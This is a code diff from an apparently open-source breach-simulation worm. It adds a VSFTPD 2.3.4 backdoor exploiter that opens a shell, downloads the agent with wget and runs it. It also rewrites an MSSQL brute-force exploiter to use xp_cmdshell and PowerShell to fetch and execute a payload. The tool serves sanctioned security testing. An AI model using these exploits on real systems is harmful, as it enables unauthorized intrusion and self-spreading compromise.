Merge branch 'develop' into improvement/232-dont-show-linux-in-cred-map

This commit is contained in:
Shay Nehmad 2019-05-28 15:09:00 +03:00
commit fd36118c0e
52 changed files with 1581 additions and 532 deletions

View File

@ -81,33 +81,15 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
# Allow them to be executed
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
# Get machine type/kernel version
kernel=`uname -m`
linux_dist=`lsb_release -a 2> /dev/null`
# If a user haven't installed mongo manually check if we can install it with our script
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
echo "Script does not support your operating system for mongodb installation.
Reference monkey island readme and install it manually"
exit 1
fi
# Download mongo
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
log_message "Downloading mongodb"
if [[ ${linux_dist} == *"Debian"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
fi
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
else
log_message "Mongo db already installed"
fi
log_message "Installing MongoDB"
${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
log_message "Installing openssl"
sudo apt-get install openssl

View File

@ -30,14 +30,14 @@ class AwsInstance(object):
self.region = self._parse_region(
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except urllib2.URLError as e:
logger.error("Failed init of AwsInstance while getting metadata: {}".format(e.message))
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
try:
self.account_id = self._extract_account_id(
urllib2.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
except urllib2.URLError as e:
logger.error("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
@staticmethod
def _parse_region(region_url_response):

View File

@ -104,8 +104,8 @@ class Configuration(object):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey'
###########################
@ -157,7 +157,7 @@ class Configuration(object):
retry_failed_explotation = True
# addresses of internet servers to ping and check if the monkey has internet acccess.
internet_services = ["monkey.guardicore.com", "www.google.com"]
internet_services = ["updates.infectionmonkey.com", "www.google.com"]
keep_tunnel_open_time = 60
@ -205,6 +205,7 @@ class Configuration(object):
# exploiters config
###########################
should_exploit = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5

View File

@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from infection_monkey.config import WormConfiguration, GUID
from infection_monkey.network.info import local_ips, check_internet_access
from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT
from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy
@ -19,6 +19,7 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT_IN_SECONDS = 15

View File

@ -1,4 +1,5 @@
{
"should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],
@ -24,8 +25,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir',
@ -44,7 +45,8 @@
"SambaCryExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
"HadoopExploiter",
"VSFTPDExploiter"
],
"finger_classes": [
"SSHFinger",

View File

@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
from infection_monkey.exploit.vsftpd import VSFTPDExploiter

View File

@ -1,12 +1,15 @@
import os
import logging
from time import sleep
import pymssql
import textwrap
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
from infection_monkey.exploit import HostExploiter, tools
from common.utils.exploit_enum import ExploitType
__author__ = 'Maor Rayzin'
from infection_monkey.exploit.tools import HTTPTools
from infection_monkey.config import WormConfiguration
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.tools import get_monkey_dest_path
LOG = logging.getLogger(__name__)
@ -16,78 +19,89 @@ class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
# Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat'
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self):
"""
Main function of the mssql brute force
Return:
True or False depends on process success
"""
# Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
if not self.create_payload_file(payload_path):
return False
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
payload_path):
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
return True
else:
if not cursor:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
def handle_payload(self, cursor, payload):
# Get monkey exe for host and it's path
src_path = tools.get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
dst_path = get_monkey_dest_path(http_path)
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
# Create monkey dir.
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file
commands = [
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
for part in textwrap.wrap(monkey_args, 40)]
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
return True
@staticmethod
def run_file(cursor, file_path):
command = ["exec xp_cmdshell \"%s\"" % file_path]
return MSSQLExploiter.execute_command(cursor, command)
@staticmethod
def execute_command(cursor, cmds):
"""
Handles the process of payload sending and execution, prepares the attack and details.
Args:
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
payload (string): Payload path
Return:
True or False depends on process success
Executes commands on MSSQL server
:param cursor: MSSQL connection
:param cmds: list of commands in MSSQL syntax.
:return: True if successfully executed, false otherwise.
"""
try:
# Running the cmd on remote host
for cmd in cmds:
cursor.execute(cmd)
sleep(MSSQLExploiter.QUERY_BUFFER)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
return False
return True
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
def brute_force(self, host, port, users_passwords_pairs_list):
"""
Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here.
@ -95,7 +109,6 @@ class MSSQLExploiter(HostExploiter):
Args:
host (str): Host ip address
port (str): Tcp port that the host listens to
payload (str): Local path to the payload
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
Return:
@ -112,19 +125,11 @@ class MSSQLExploiter(HostExploiter):
'using user: {1}, password: {2}'.format(host, user, password))
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
# Handles the payload and return True or False
if self.handle_payload(cursor, payload):
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
return True
else:
LOG.warning("user: {0} and password: {1}, "
"was able to connect to host: {2} but couldn't handle payload: {3}"
.format(user, password, host, payload))
return cursor
except pymssql.OperationalError:
# Combo didn't work, hopping to the next one
pass
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return False
return None

View File

@ -1,208 +0,0 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
"""Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user
self.password = password
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self):
""" Configures and runs the ftp server to listen forever until stopped.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
"""
def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor
self.attacker_ip = get_interface_to_target(host.ip_addr)
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
sleep(0.5)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self, host):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -7,6 +7,7 @@ import urllib2
import httplib
import unicodedata
import re
import ssl
import logging
from infection_monkey.exploit.web_rce import WebRCE
@ -47,7 +48,7 @@ class Struts2Exploiter(WebRCE):
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False

View File

@ -0,0 +1,149 @@
"""
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
only vulnerable version is "2.3.4"
"""
import StringIO
import logging
import paramiko
import socket
import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.web_rce import WebRCE
from logging import getLogger
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes
UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux']
def __init__ (self, host):
self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist
def socket_connect(self, s, ip_addr, port):
try:
s.connect((ip_addr, port))
return True
except socket.error as e:
LOG.error('Failed to connect to %s', self.host.ip_addr)
return False
def socket_send_recv(self, s, message):
try:
s.send(message)
return s.recv(RECV_128).decode('utf-8')
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def socket_send(self, s, message):
try:
s.send(message)
return True
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr)
return False
LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info('Response for uname -m: %s', response)
if '' != response.lower().strip():
# command execution is successful
self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux'
else :
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host)
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
download_command = str.encode(str(download_command) + '\n')
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
LOG.info('Monkey is now Downloaded ')
else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
# Change permissions
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey)
return True
else:
return False

View File

@ -13,7 +13,7 @@ __author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
# Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "owershell is not recognized"
POWERSHELL_NOT_FOUND = "powershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"
@ -253,7 +253,7 @@ class WebRCE(HostExploiter):
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % host)
LOG.info("Host %s was already infected under the current configuration, done" % str(host))
return True
def check_remote_files(self, url):
@ -281,7 +281,7 @@ class WebRCE(HostExploiter):
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
LOG.info("All default web ports are closed on %r, skipping", host)
LOG.info("All default web ports are closed on %r, skipping", str(host))
return False
else:
return ports

View File

@ -5,7 +5,7 @@
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
from __future__ import print_function
from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target

View File

@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
from infection_monkey.exploit.tools import get_interface_to_target
__author__ = 'itamar'
@ -39,6 +40,7 @@ class InfectionMonkey(object):
self._exploiters = None
self._fingerprint = None
self._default_server = None
self._default_server_port = None
self._depth = 0
self._opts = None
self._upgrading_to_64 = False
@ -59,6 +61,10 @@ class InfectionMonkey(object):
self._parent = self._opts.parent
self._default_tunnel = self._opts.tunnel
self._default_server = self._opts.server
try:
self._default_server_port = self._default_server.split(':')[1]
except KeyError:
self._default_server_port = ''
if self._opts.depth:
WormConfiguration._depth_from_commandline = True
self._keep_running = True
@ -172,20 +178,22 @@ class InfectionMonkey(object):
if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server:
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':'+self._default_server_port if self._default_server_port else ''))
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
machine.set_default_server(self._default_server)
# Order exploits according to their type
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
host_exploited = False
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if self.try_exploiting(machine, exploiter):
host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
break
if not host_exploited:
self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if WormConfiguration.should_exploit:
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
host_exploited = False
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if self.try_exploiting(machine, exploiter):
host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
break
if not host_exploited:
self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if not self._keep_running:
break

View File

@ -8,6 +8,10 @@ import itertools
import netifaces
from subprocess import check_output
from random import randint
import requests
from requests import ConnectionError
from common.network.network_range import CidrRange
try:
@ -16,6 +20,10 @@ except NameError:
long = int # Python 3
# Timeout for monkey connections
TIMEOUT = 15
def get_host_subnets():
"""
Returns a list of subnets visible to host (omitting loopback and auto conf networks)
@ -124,14 +132,18 @@ def get_free_tcp_port(min_range=1000, max_range=65535):
def check_internet_access(services):
"""
Checks if any of the services are accessible, over ICMP
Checks if any of the services are accessible, over HTTPS
:param services: List of IPs/hostnames
:return: boolean depending on internet access
"""
ping_str = "-n 1" if sys.platform.startswith("win") else "-c 1"
for host in services:
if os.system("ping " + ping_str + " " + host) == 0:
try:
requests.get("https://%s" % (host,), timeout=TIMEOUT, verify=False)
return True
except ConnectionError:
# Failed connecting
pass
return False

View File

@ -170,6 +170,8 @@ class HTTPServer(threading.Thread):
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
if not self.downloads < self.max_downloads:
self.close_connection = 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5 # this is irrelevant?
@ -214,6 +216,8 @@ class LockedHTTPServer(threading.Thread):
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
if not self.downloads < self.max_downloads:
self.close_connection = 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()

View File

@ -2,7 +2,6 @@ import logging
import socket
import struct
import time
from difflib import get_close_matches
from threading import Thread
from infection_monkey.model import VictimHost
@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.transport.base import get_last_serve_time
from infection_monkey.exploit.tools import get_interface_to_target
__author__ = 'hoffer'
@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
if '?' == search:
ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips
ip_match = get_interface_to_target(address[0])
if ip_match:
answer = '%s:%d' % (ip_match[0], self.local_port)
answer = '%s:%d' % (ip_match, self.local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
elif '+' == search:
@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
if not self.local_port:
return
ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
ip_match = get_interface_to_target(host.ip_addr)
host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
def stop(self):
self._stopped = True

View File

@ -37,8 +37,8 @@ class WindowsUpgrader(object):
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError):
LOG.error("Failed to download the Monkey to the target path.")
except (IOError, AttributeError) as e:
LOG.error("Failed to download the Monkey to the target path: %s." % e)
return
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)

View File

@ -28,11 +28,13 @@ from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_telem import AttackTelem
from monkey_island.cc.resources.attack_config import AttackConfiguration
__author__ = 'Barak'
@ -83,31 +85,31 @@ def output_json(obj, code, headers=None):
return resp
def init_app(mongo_url):
app = Flask(__name__)
api = flask_restful.Api(app)
api.representations = {'application/json': output_json}
def init_app_config(app, mongo_url):
app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = str(uuid.getnode())
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
def init_app_services(app):
init_jwt(app)
mongo.init_app(app)
with app.app_context():
database.init()
ConfigService.init_config()
Database.init_db()
# If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
RemoteRunAwsService.init()
def init_app_url_rules(app):
app.add_url_rule('/', 'serve_home', serve_home)
